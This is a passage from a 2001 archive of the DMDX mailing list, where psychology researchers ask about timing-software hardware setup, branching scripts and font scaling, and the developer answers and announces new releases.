by hotmail.com with Microsoft SMTPSVC; Thu, 11 Oct 2001 15:06:15 -0700 From: ""nabil saba"" To: ""DMDX"" Subject: [DMDX] KeyPad Date: Thu, 11 Oct 2001 15:05:57 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_0000_01C15266.3B266B80"" Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list ------=_NextPart_001_0000_01C15266.3B266B80 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, I have a Keypad that is connected to Com1 Port. How can i use it with DMD= X. Whenever i use the TimeDX PIO test and change the address to 3F8, the com= puter stuck. Thanks Nabil Saba R&D Engineer University of California, Irvine Tel. (949) 824-9263 Fax. (949) 824-5552Get more from the Web. FREE MSN Explorer download : h= ttp://explorer.msn.com ------=_NextPart_001_0000_01C15266.3B266B80 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, I have a Keypad that is connected to Com1 Port. How can i use it with DM= DX. Whenever i use the TimeDX PIO test and change the address = to 3F8, the computer stuck.   ThanksNa= bil SabaR&D EngineerUniversity of California, IrvineTel. = (949) 824-9263Fax. (949) 824-5552= Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com ------=_NextPart_001_0000_01C15266.3B266B80-- >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 11 22:06:40 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id WAA10448 for ; Thu, 11 Oct 2001 22:06:26 -0700 Received: (qmail 28507 invoked from network); 12 Oct 2001 05:06:23 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 12 Oct 2001 05:06:23 -0000 Message-Id: <5.1.0.14.2.20011011220636.009f3160@psy1.psych.arizona.edu> Date: Thu, 11 Oct 2001 22:07:24 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: KeyPad In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:05 PM 10/11/01 -0700, you wrote: >Hi, >I have a Keypad that is connected to Com1 Port. How can i use it with DMDX. >Whenever i use the TimeDX PIO test and change the address to 3F8, the >computer stuck. > You can't use it with DMDX, it doesn't interface to serial devices. Unless of course you could find windows DirectX drivers for it... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 13 20:33:49 2001 Received: from ms89.ntu.edu.tw (ms89.ntu.edu.tw [140.112.2.149]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA15764 for ; Sat, 13 Oct 2001 20:33:01 -0700 Received: from ms89.ntu.edu.tw (psy101.psy.ntu.edu.tw [140.112.62.101]) by ms89.ntu.edu.tw (Postfix) with ESMTP id F38845D4514 for ; Sun, 14 Oct 2001 11:32:56 +0800 (CST) Message-ID: <3BC90604.AFE14B55@ms89.ntu.edu.tw> Date: Sun, 14 Oct 2001 11:27:01 +0800 From: Anthony Huang MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] branching problem Content-Type: text/plain; charset=big5 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I'm trying to write something that can give different feedback toward each response. First, I try to use branching... but there's seems to be a limit for using branching. it's between 9~11 I guess cause when I call more than 9 different N then the computer just crash Is it true that there's a limit to branching? Now I'm trying to do that with different feedback. Is there any other way to do so? Besides, it seems that when I use I can no longer use branching... cause the program keeps telling me that nesting is not allowed when the second cycle begins. below is what I've wrote with ""branching"" and it crashed when there's more than 10 calling I don't know what's wrong :( sorry some characters are in traditional chinese 0 ""�����������}�l""; 0 ; 2001 d2 c ; 999 ""�����F�I""/,""�U�@�D""/; 101 d2 c ; 999 ""�����F�I ���T�����O����""/,""�U�@�D""/ ; 102 d2 c; 999 ""�A�S���@���I �����O����""/,""�U�@�D ""/; 2002 d2 c ; 999 ""�����F�I""/,""�U�@�D""/; 103 d2 c ; 999 ""�����F�I ���T�����O�q��""/,""�U�@�D""/ ; 104 d2 c; 999 ""�A�S���@���I �����O�q��""/,""�U�@�D ""/; 2003 d2 c ; 999 ""�����F�I""/,""�U�@�D""/; 105 d2 c ; 999 ""�����F�I ���T�����O���l""/,""�U�@�D""/ ; 106 d2 c; 999 ""�A�S���@���I �����O���l""/,""�U�@�D ""/; 2004 d2 c ; 999 ""�����F�I""/,""�U�@�D""/; 107 d2 c ; 999 ""�����F�I ���T�����O ����""/,""�U�@�D""/ ; 108 d2 c; 999 ""�A�S���@���I �����O����""/,""�U�@�D ""/; 2005 d2 c ; 999 ""�����F�I""/,""�U�@�D""/; 109 d2 c ; 999 ""�����F�I ���T�����O ����""/,""�U�@�D""/ ; 110 d2 c; 999 ""�A�S���@���I �����O����""/,""�U�@�D ""/; 2006 d2 c ; 999 ""�����F�I""/,""�U�@�D""/; 111 d2 c ; 999 ""�����F�I ���T�����O����""/,""�U�@�D""/ ; 112 d2 c; 999 ""�A�S���@���I �����O����""/,""�U�@�D ""/; 2007 d2 c ; 999 ""�����F�I""/,""�U�@�D""/; 103 d2 c ; 999 ""�����F�I ���T�����O�q��""/,""�U�@�D""/ ; 104 d2 c; 999 ""�A�S���@���I �����O�q��""/,""�U�@�D ""/; 2008 d2 c ; 999 ""�����F�I""/,""�U�@�D""/; 115 d2 c ; 999 ""�����F�I ���T�����O���l""/,""�U�@�D""/ ; 116 d2 c; 999 ""�A�S���@���I �����O���l""/,""�U�@�D ""/; 2009 d2 c ; 999 ""�����F�I""/,""�U�@�D""/; 117 d2 c ; 999 ""�����F�I ���T�����O ����""/,""�U�@�D""/ ; 118 d2 c; 999 ""�A�S���@���I �����O����""/,""�U�@�D ""/; 2010 d2 c ; 999 ""�����F�I""/,""�U�@�D""/; 119 d2 c ; 999 ""�����F�I ���T�����O ����""/,""�U�@�D""/ ; 120 d2 c; 999 ""�A�S���@���I �����O����""/,""�U�@�D ""/; 2011 d2 c ; 999 ""�����F�I""/,""�U�@�D""/; 121 d2 c ; 999 ""�����F�I ���T�����O����""/,""�U�@�D""/ ; 122 d2 c; 999 ""�A�S���@���I �����O����""/,""�U�@�D ""/; 10000 /; +1 * ""���Z""/ c; +2 * ""����""/ c; +3 * ""���r""/ c; +4 * ""���r""/ c; +5 * ""���r""/ c; +6 * ""���r""/ c; +7 * ""���r""/ c; +8 * ""���r""/ c; +9 * ""���r""/ c; +10 * ""���r""/ c; +11 * ""���r""/ c; 999 ; 999 ""the end""; >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 14 13:41:54 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id NAA17637 for ; Sun, 14 Oct 2001 13:41:35 -0700 Received: (qmail 11449 invoked from network); 14 Oct 2001 20:41:32 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 14 Oct 2001 20:41:32 -0000 Message-Id: <5.1.0.14.2.20011014131955.009ed600@psy1.psych.arizona.edu> Date: Sun, 14 Oct 2001 13:42:21 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: branching problem In-Reply-To: <3BC90604.AFE14B55@ms89.ntu.edu.tw> Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1""; format=flowed Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:27 AM 10/14/01 +0800, you wrote: >I'm trying to write something that can give different feedback toward >each response. >First, I try to use branching... but there's seems to be a limit for >using branching. >it's between 9~11 I guess cause when I call more than 9 different N then >the computer just crash >Is it true that there's a limit to branching? Not to my knowledge. >Now I'm trying to do that with different feedback. >Is there any other way to do so? >Besides, it seems that when I use I can no longer use >branching... See the docs: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchiferrorrategtkeyword.htm If you want to use multiple tests against the error rate you have to load a counter with the error rate and test that counter. >cause the program keeps telling me that nesting is not allowed when the >second cycle begins. You can't have two keywords without an intervening , they don't nest. If you aren't intending to nest calls you must have missed a somewhere. You might want to turn on the branch diagnostics on: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchdiagnosticskeyword.htm >below is what I've wrote with ""branching"" and it crashed when there's >more than 10 calling >I don't know what's wrong :( Check the branch diagnostics. You structure looks sound, maybe there's just a missing . >sorry some characters are in traditional chinese > > 255255255> >0 ""�����������}�l""; >0 ; >2001 d2 c ; >999 ""�����F�I""/,""�U�@�D""/; The /, is bad, either use a slash or use a comma, a comma following a slash is superflous. >101 d2 c ; >999 ""�����F�I ���T�����O����""/,""�U�@�D""/ >; >102 d2 c; >999 ""�A�S���@���I �����O����""/,""�U�@�D >""/; >2002 d2 c ; >999 ""�����F�I""/,""�U�@�D""/; >103 d2 c ; >999 ""�����F�I ���T�����O�q��""/,""�U�@�D""/ >; >104 d2 c; >999 ""�A�S���@���I �����O�q��""/,""�U�@�D >""/; >2003 d2 c ; >999 ""�����F�I""/,""�U�@�D""/; >105 d2 c ; >999 ""�����F�I ���T�����O���l""/,""�U�@�D""/ >; >106 d2 c; >999 ""�A�S���@���I �����O���l""/,""�U�@�D >""/; >2004 d2 c ; >999 ""�����F�I""/,""�U�@�D""/; >107 d2 c ; >999 ""�����F�I ���T�����O ����""/,""�U�@�D""/ >; >108 d2 c; >999 ""�A�S���@���I �����O����""/,""�U�@�D >""/; >2005 d2 c ; >999 ""�����F�I""/,""�U�@�D""/; >109 d2 c ; >999 ""�����F�I ���T�����O ����""/,""�U�@�D""/ >; >110 d2 c; >999 ""�A�S���@���I �����O����""/,""�U�@�D >""/; >2006 d2 c ; >999 ""�����F�I""/,""�U�@�D""/; >111 d2 c ; >999 ""�����F�I ���T�����O����""/,""�U�@�D""/ >; >112 d2 c; >999 ""�A�S���@���I �����O����""/,""�U�@�D >""/; >2007 d2 c ; >999 ""�����F�I""/,""�U�@�D""/; >103 d2 c ; >999 ""�����F�I ���T�����O�q��""/,""�U�@�D""/ >; >104 d2 c; >999 ""�A�S���@���I �����O�q��""/,""�U�@�D >""/; >2008 d2 c ; >999 ""�����F�I""/,""�U�@�D""/; >115 d2 c ; >999 ""�����F�I ���T�����O���l""/,""�U�@�D""/ >; >116 d2 c; >999 ""�A�S���@���I �����O���l""/,""�U�@�D >""/; >2009 d2 c ; >999 ""�����F�I""/,""�U�@�D""/; >117 d2 c ; >999 ""�����F�I ���T�����O ����""/,""�U�@�D""/ >; >118 d2 c; >999 ""�A�S���@���I �����O����""/,""�U�@�D >""/; >2010 d2 c ; >999 ""�����F�I""/,""�U�@�D""/; >119 d2 c ; >999 ""�����F�I ���T�����O ����""/,""�U�@�D""/ >; >120 d2 c; >999 ""�A�S���@���I �����O����""/,""�U�@�D >""/; >2011 d2 c ; >999 ""�����F�I""/,""�U�@�D""/; >121 d2 c ; >999 ""�����F�I ���T�����O����""/,""�U�@�D""/ >; >122 d2 c; >999 ""�A�S���@���I �����O����""/,""�U�@�D >""/; > >10000 /; >+1 * ""���Z""/ c; >+2 * ""����""/ c; >+3 * ""���r""/ c; >+4 * ""���r""/ c; >+5 * ""���r""/ c; >+6 * ""���r""/ c; >+7 * ""���r""/ c; >+8 * ""���r""/ c; >+9 * ""���r""/ c; >+10 * ""���r""/ c; >+11 * ""���r""/ c; >999 ; >999 ""the end""; Unless I'm missing something all those sub routine look the same, why are there multiple versions of the function? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 16 05:15:50 2001 Received: from URANUS.forenap.asso.fr ([212.103.26.242]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id FAA22202 for ; Tue, 16 Oct 2001 05:14:43 -0700 Received: from forenap.asso.fr (YODA [193.107.110.108]) by URANUS.forenap.asso.fr (8.6.12/8.6.12) with ESMTP id NAA08486 for ; Tue, 16 Oct 2001 13:15:30 GMT Message-ID: <3BCBFB06.93948187@forenap.asso.fr> Date: Tue, 16 Oct 2001 11:16:54 +0200 From: Jean-Francois Nedelec MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Addressofthelab References: <5.1.0.14.2.20011014131955.009ed600@psy1.psych.arizona.edu> Content-Type: multipart/mixed; boundary=""------------35D3EBAD64C2839C92647A31"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. --------------35D3EBAD64C2839C92647A31 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, for information purpose [and documentation] may I have the adresse and coordinates of the lab. Thanks Jean-Francois --------------35D3EBAD64C2839C92647A31 Content-Type: text/x-vcard; charset=us-ascii; name=""jnedelec.vcf"" Content-Transfer-Encoding: 7bit Content-Description: Card for Jean-Francois Nedelec Content-Disposition: attachment; filename=""jnedelec.vcf"" begin:vcard n:Nedelec;Jean-Francois J. tel;fax:33.(0)3.89.78.51.24 tel;work:33.(0)3.89.78.70.18 / 71.65 / 71.70 x-mozilla-html:FALSE org:Forenap;MR Centre version:2.1 email;internet:jnedelec@forenap.asso.fr title:Ph.D. adr;quoted-printable:;;Hospital Center=0D=0A27, rue 4eme R.S.M.;ROUFFACH;;68250;France x-mozilla-cpt:;12896 fn:Jean-Francois J. Nedelec end:vcard --------------35D3EBAD64C2839C92647A31-- >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 16 09:18:56 2001 Received: from URANUS.forenap.asso.fr ([212.103.26.242]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA22813 for ; Tue, 16 Oct 2001 09:18:38 -0700 Received: from forenap.asso.fr (YODA [193.107.110.108]) by URANUS.forenap.asso.fr (8.6.12/8.6.12) with ESMTP id RAA12005 for ; Tue, 16 Oct 2001 17:19:22 GMT Message-ID: <3BCC3425.3719A68B@forenap.asso.fr> Date: Tue, 16 Oct 2001 15:20:38 +0200 From: Jean-Francois Nedelec MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] LabAddress Content-Type: multipart/mixed; boundary=""------------43B407304F4AB41225033208"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. --------------43B407304F4AB41225033208 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, I will appreciate getting the complete address of psy Lab [as well as coordinates] I received a .vcf file that I am unable to opened .txt would be better thanks enjoy Jean-Francois --------------43B407304F4AB41225033208 Content-Type: text/x-vcard; charset=us-ascii; name=""jnedelec.vcf"" Content-Transfer-Encoding: 7bit Content-Description: Card for Jean-Francois Nedelec Content-Disposition: attachment; filename=""jnedelec.vcf"" begin:vcard n:Nedelec;Jean-Francois J. tel;fax:33.(0)3.89.78.51.24 tel;work:33.(0)3.89.78.70.18 / 71.65 / 71.70 x-mozilla-html:FALSE org:Forenap;MR Centre version:2.1 email;internet:jnedelec@forenap.asso.fr title:Ph.D. adr;quoted-printable:;;Hospital Center=0D=0A27, rue 4eme R.S.M.;ROUFFACH;;68250;France x-mozilla-cpt:;12896 fn:Jean-Francois J. Nedelec end:vcard --------------43B407304F4AB41225033208-- >From DMDX-owner@psy1.psych.arizona.edu Tue Oct 16 09:57:08 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA22956 for ; Tue, 16 Oct 2001 09:56:57 -0700 Received: (qmail 25292 invoked from network); 16 Oct 2001 16:56:54 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 16 Oct 2001 16:56:54 -0000 Message-Id: <5.1.0.14.2.20011016095254.009e7280@psy1.psych.arizona.edu> Date: Tue, 16 Oct 2001 09:57:44 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: LabAddress In-Reply-To: <3BCC3425.3719A68B@forenap.asso.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:20 PM 10/16/01 +0200, you wrote: >Hello, >I will appreciate getting >the complete address of psy Lab >[as well as coordinates] >I received a .vcf file that I am unable to opened >.txt would be better >thanks >enjoy >Jean-Francois You sent the .vcf file, your mail program has some setting set and it automatically attaches the .vcf to every email you send filling everyone's attachment folders up. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 17 10:28:17 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA25938 for ; Wed, 17 Oct 2001 10:27:42 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f9HHRep06711 for ; Wed, 17 Oct 2001 19:27:40 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] Keyboard input ... PIO12 output ? Date: Wed, 17 Oct 2001 19:26:40 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0000_01C15741.A5819BF0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C15741.A5819BF0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit I will be using a PIO12 to output 8 bits of data (e.g., InputDevice ""PIO12""). If I use another device for response input, I have to declare that too (e.g., InputDevice ""keyboard"") ... Will both the Space bar of the KB and Bit 0 of the PIO12 be mapped as ""REQUEST"" ? Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden ------=_NextPart_000_0000_01C15741.A5819BF0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I will = be using a=20 PIO12 to output 8 bits of data (e.g., InputDevice ""PIO12"").  =20   If I = use another=20 device for response input, I have to declare that too (e.g.,  = InputDevice=20 ""keyboard"")  ... Will = both the=20 Space bar of the KB and Bit 0 of the PIO12 be mapped as ""REQUEST""=20 ?       Derek N. EderG=F6teborgs = UniversitetInstitutionen f=F6r=20 klinisk neurovetenskap - psykiatriSahlgrenska universitetssjukhuset=20 SS/SUBl=E5 straket 17bSE 413 45  = G=F6teborgSverigeTlf. +46=20 (031) 34 26 139Fax. +46 (031) 34 21=20 533 derek.eder@neuro.gu.seGothenburg=20 UniversityInstitute of Clinical Neuroscience,Section for=20 PsychiatrySalhgrenska Hospital  SU/SSSE 413 45 =20 G=F6teborgSweden    ------=_NextPart_000_0000_01C15741.A5819BF0-- >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 17 13:46:51 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA26405 for ; Wed, 17 Oct 2001 13:46:36 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3BC7BE0B0006D6DD for DMDX@psy1.psych.arizona.edu; Wed, 17 Oct 2001 13:46:35 -0700 Message-Id: <5.1.0.14.2.20011017134459.009f2180@psy1.psych.arizona.edu> Date: Wed, 17 Oct 2001 13:46:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Keyboard input ... PIO12 output ? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:26 PM 10/17/01 +0200, you wrote: >I will be using a PIO12 to output 8 bits of data (e.g., InputDevice >""PIO12""). > >If I use another device for response input, I have to declare that too >(e.g., InputDevice ""keyboard"") ... >Will both the Space bar of the KB and Bit 0 of the PIO12 be mapped as >""REQUEST"" ? Yep. If you don't want multiple keys you'll have to use the keywords and then map the ones you specifically want. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The reason it's called ""Grape Nuts"" is that it contains ""dextrose"", which is also sometimes called ""grape sugar"", and also because ""Grape Nuts"" is catchier, in terms of marketing, than ""A Cross Between Gerbil Food and Gravel"", which is what it tastes like. - Dave Barry, ""Tips for Writer's"" >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 17 17:55:06 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA26966 for ; Wed, 17 Oct 2001 17:53:34 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3BC7BE0B00075FDE for DMDX@psy1.psych.arizona.edu; Wed, 17 Oct 2001 17:53:33 -0700 Message-Id: <5.1.0.14.2.20011017174917.009e6390@psy1.psych.arizona.edu> Date: Wed, 17 Oct 2001 17:53:32 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.5.02 and TimeDX 2.1.05 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list A couple of additions to both programs. First off the keyword: Minimum Sleep Keyword MDSP bit 2000000 modifier, the bit that makes DMDX sleep for the smallest possible times. Reset if N = 0, otherwise set. All MDSP modifiers are both parameters and switches. If N is missing the bit is set and the mode is active. At various places DMDX will usually sleep for a number of milliseconds so that any pending operating system activity can be performed then at a known safe time and not interfere with a display sequence. Or at least that's the theory, whether it works or not is difficult to determine. In any case the amount of time spent sleeping is 10 milliseconds at the juncture between two items and 1/7th of the retrace interval whenever there is nothing that needs to be moved into display memory. Setting this MDSP bit changes those Sleep(n) calls to Sleep(0) which signals to the OS that the current task is yielding only if something else is immediately pending, otherwise it would like control back immediately. Second, the address of the PIO can either be entered as a hexadecimal value for ISA based cards or selected from the registry in the case of the PCI PIO cards. Because TimeDX can't tell exactly what in the registry is an 8255 (the mere fact that it reads the registry to determine the base address of the 8255 is an extreme hack, utterly undocumented by anyone) it simply hunts for resources that describe groups of 4 IO ports and lists them as possible candidates along with the device's description. This should work for any PCI PIO card, be it the ComputerBoards one we use or the Keithly MetraByte that I noticed someone was using a few months ago. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The reason it's called ""Grape Nuts"" is that it contains ""dextrose"", which is also sometimes called ""grape sugar"", and also because ""Grape Nuts"" is catchier, in terms of marketing, than ""A Cross Between Gerbil Food and Gravel"", which is what it tastes like. - Dave Barry, ""Tips for Writer's"" >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 18 07:27:40 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA28472 for ; Thu, 18 Oct 2001 07:26:59 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f9IEQvp28140 for ; Thu, 18 Oct 2001 16:26:57 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] Suggestion: PIO board input design Date: Thu, 18 Oct 2001 16:25:52 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0002_01C157F1.8E3B2460"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0002_01C157F1.8E3B2460 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit I want to point out that Keithley PIO-12 boards manufactured after Nov 1996 and containing the CMOS 82C55 chip have internal pull-up resistors on their inputs. These are the ~4.7 K resistors from the inputs to +5V. (see the PIO Test help page in TimeDx). Using these newer PIO-Boards with 'external' pull-up resistor won't hurt the board however. Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden ------=_NextPart_000_0002_01C157F1.8E3B2460 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I want = to point=20 out that Keithley PIO-12 boards manufactured after Nov 1996 and = containing=20 the CMOS 82C55 chip have internal pull-up resistors on their = inputs. =20 These are the ~4.7 K resistors from the inputs to +5V. (see the PIO Test = help=20 page in TimeDx).   Using = these newer=20 PIO-Boards with 'external' pull-up resistor won't hurt the board=20 however.    =20 Derek N. EderG=F6teborgs = UniversitetInstitutionen f=F6r=20 klinisk neurovetenskap - psykiatriSahlgrenska universitetssjukhuset=20 SS/SUBl=E5 straket 17bSE 413 45  = G=F6teborgSverigeTlf. +46=20 (031) 34 26 139Fax. +46 (031) 34 21=20 533 derek.eder@neuro.gu.seGothenburg=20 UniversityInstitute of Clinical Neuroscience,Section for=20 PsychiatrySalhgrenska Hospital  SU/SSSE 413 45 =20 G=F6teborgSweden    ------=_NextPart_000_0002_01C157F1.8E3B2460-- >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 18 09:10:45 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA28744 for ; Thu, 18 Oct 2001 09:10:26 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f9IGAPp30324 for ; Thu, 18 Oct 2001 18:10:25 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] lost in space ... strange behavior of font multiplier Date: Thu, 18 Oct 2001 18:09:20 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list The DMDX code fragment below illustrates a strange side effect of the Font Multiplier function. While the cross ""+"" is displayed correctly at coordinates (0.5,0.5), multipying the size of the second character ""O"" causes it to grossly offset from its 'correct' position. 1 ""+"" /; 2 ""O"" /; Is there any gracefull correction for this? Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 18 09:28:43 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA28812 for ; Thu, 18 Oct 2001 09:28:37 -0700 Received: (qmail 20637 invoked from network); 18 Oct 2001 16:28:32 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 18 Oct 2001 16:28:32 -0000 Message-Id: <5.1.0.14.2.20011018092125.009f6ba0@psy1.psych.arizona.edu> Date: Thu, 18 Oct 2001 09:29:15 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Suggestion: PIO board input design In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:25 PM 10/18/01 +0200, you wrote: >I want to point out that Keithley PIO-12 boards manufactured after Nov >1996 and containing the CMOS 82C55 chip have internal pull-up resistors on >their inputs. These are the ~4.7 K resistors from the inputs to +5V. (see >the PIO Test help page in TimeDx). > >Using these newer PIO-Boards with 'external' pull-up resistor won't hurt >the board however. It's possible that all the devices we use are as even the old ISA cards that have the 40 pin 8255 in them have the 